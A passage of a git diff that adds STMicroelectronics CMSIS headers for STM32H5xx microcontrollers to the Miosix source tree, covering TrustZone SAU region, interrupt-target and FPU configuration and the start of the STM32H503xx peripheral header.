SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_AVD_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// ADC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// USB_DRD_FS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI4_IRQn <0=> Secure state <1=> Non-Secure state +// SPI5_IRQn <0=> Secure state <1=> Non-Secure state +// SPI6_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// USART10_IRQn <0=> Secure state <1=> Non-Secure state +// USART11_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// GPDMA2_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// UART7_IRQn <0=> Secure state <1=> Non-Secure state +// UART8_IRQn <0=> Secure state <1=> Non-Secure state +// UART9_IRQn <0=> Secure state <1=> Non-Secure state +// UART12_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE_IRQn <0=> Secure state <1=> Non-Secure state +// ETH_IRQn <0=> Secure state <1=> Non-Secure state +// ETH_WKUP_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// DTS_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// CEC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM12_IRQn <0=> Secure state <1=> Non-Secure state +// TIM13_IRQn <0=> Secure state <1=> Non-Secure state +// TIM14_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..130) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..130 +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM5_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM6_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32H573XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/partition_stm32h5xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/partition_stm32h5xx.h new file mode 100644 index 000000000..67e25534a --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/partition_stm32h5xx.h @@ -0,0 +1,79 @@ +/** + ****************************************************************************** + * @file partition_stm32h5xx.h + * @author MCD Application Team + * @brief CMSIS STM32H5xx Device Header File for Initial Setup for Secure / + * Non-Secure Zones for ARMCM33 based on CMSIS CORE partition_ARMCM33.h + * Template. + * + * The file is included in system_stm32h5xx_s.c in secure application. + * It includes the configuration section that allows to select the + * STM32H5xx device partitioning file for system core secure attributes + * and interrupt secure and non-secure assignment. + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup stm32h5xx + * @{ + */ + +#ifndef PARTITION_STM32H5XX_H +#define PARTITION_STM32H5XX_H + +#ifdef __cplusplus + extern "C" { +#endif /* __cplusplus */ + +/** @addtogroup Secure_configuration_section + * @{ + */ + +#if defined(STM32H573xx) + #include "partition_stm32h573xx.h" +#elif defined(STM32H563xx) + #include "partition_stm32h563xx.h" +#elif defined(STM32H562xx) + #include "partition_stm32h562xx.h" +#elif defined(STM32H533xx) + #include "partition_stm32h533xx.h" +#elif defined(STM32H523xx) + #include "partition_stm32h523xx.h" +#else + #error "Please select first the target STM32H5xx device used in your application (in stm32h5xx.h file)" +#endif + + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif /* PARTITION_STM32H5XX_H */ +/** + * @} + */ + +/** + * @} + */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h503xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h503xx.h new file mode 100644 index 000000000..c92054272 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h503xx.h @@ -0,0 +1,13622 @@ +/** + ****************************************************************************** + * @file stm32h503xx.h + * @author MCD Application Team + * @brief CMSIS STM32H503xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32H503xx_H +#define STM32H503xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32H503xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32H503xx Specific Interrupt Numbers ====================================== */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_AVD_IRQn = 1, /*!< PVD/AVD through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + GPDMA1_Channel0_IRQn = 27, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 28, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 29, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 30, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 31, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 32, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 33, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 34, /*!< GPDMA1 Channel 7 global interrupt */ + IWDG_IRQn = 35, /*!< IWDG global interrupt */ + ADC1_IRQn = 37, /*!< ADC1 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + I2C1_EV_IRQn = 51, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 52, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 53, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 54, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 55, /*!< SPI1 global interrupt */ + SPI2_IRQn = 56, /*!< SPI2 global interrupt */ + SPI3_IRQn = 57, /*!< SPI3 global interrupt */ + USART1_IRQn = 58, /*!< USART1 global interrupt */ + USART2_IRQn = 59, /*!< USART2 global interrupt */ + USART3_IRQn = 60, /*!< USART3 global interrupt */ + LPUART1_IRQn = 63, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 64, /*!< LPTIM1 global interrupt */ + LPTIM2_IRQn = 70, /*!< LPTIM2 global interrupt */ + USB_DRD_FS_IRQn = 74, /*!< USB FS global interrupt */ + CRS_IRQn = 75, /*!< CRS global interrupt */ + GPDMA2_Channel0_IRQn = 90, /*!< GPDMA2 Channel 0 global interrupt */ + GPDMA2_Channel1_IRQn = 91, /*!< GPDMA2 Channel 1 global interrupt */ + GPDMA2_Channel2_IRQn = 92, /*!< GPDMA2 Channel 2 global interrupt */ + GPDMA2_Channel3_IRQn = 93, /*!< GPDMA2 Channel 3 global interrupt */ + GPDMA2_Channel4_IRQn = 94, /*!< GPDMA2 Channel 4 global interrupt */ + GPDMA2_Channel5_IRQn = 95, /*!< GPDMA2 Channel 5 global interrupt */ + GPDMA2_Channel6_IRQn = 96, /*!< GPDMA2 Channel 6 global interrupt */ + GPDMA2_Channel7_IRQn = 97, /*!< GPDMA2 Channel 7 global interrupt */ + FPU_IRQn = 103, /*!< FPU global interrupt */ + ICACHE_IRQn = 104, /*!< Instruction cache global interrupt */ + DTS_IRQn = 113, /*!< DTS global interrupt */ + RNG_IRQn = 114, /*!< RNG global interrupt */ + HASH_IRQn = 117, /*!< HASH global interrupt */ + I3C1_EV_IRQn = 123, /*!< I3C1 event interrupt */ + I3C1_ER_IRQn = 124, /*!< I3C1 error interrupt */ + I3C2_EV_IRQn = 131, /*!< I3C2 Event interrupt */ + I3C2_ER_IRQn = 132, /*!< I3C2 Error interrupt */ + COMP1_IRQn = 133, /*!< COMP global interrupt */ +} IRQn_Type; + + + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 0U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO 